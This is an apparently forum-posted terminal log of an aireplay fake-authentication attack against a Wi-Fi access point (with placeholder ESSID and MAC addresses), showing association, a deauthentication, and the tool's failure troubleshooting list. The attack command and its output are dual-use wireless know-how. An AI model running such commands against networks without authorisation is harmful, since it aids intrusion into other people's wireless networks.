ferbo@FeRbOs-LaP:~$ sudo aireplay -1 30 -x 1000 -e xxxxxx -a MACBSSID -h MACTARJETA eth2
19:58:40  Sending Authentication Request
19:58:42  Sending Authentication Request
19:58:44  Sending Authentication Request
19:58:46  Sending Authentication Request
19:58:48  Sending Authentication Request
19:58:50  Sending Authentication Request
19:58:50  Authentication successful
19:58:50  Sending Association Request
19:58:50  Association successful :-)
[b][glow=red,2,300]19:59:00  Got a deauthentication packet![/glow][/b]
19:59:03  Sending Authentication Request
19:59:05  Sending Authentication Request
19:59:05  Authentication successful
19:59:05  Sending Association Request
19:59:10  Sending Authentication Request
19:59:12  Sending Authentication Request
19:59:14  Sending Authentication Request

Attack was unsuccessful. Possible reasons:

    * Perhaps MAC address filtering is enabled.
    * Check that the BSSID (-a option) is correct.
    * The driver hasn't been patched for injection.
    * This attack sometimes fails against some APs.
    * The card is not on the same channel as the AP.
    * Injection is not supported AT ALL on HermesI,
      Centrino, ndiswrapper and a few others chipsets.
    * You're too far from the AP. Get closer, or lower
      the transmit rate (iwconfig <iface> rate 1M).

associate=0

Wrong radiotap header version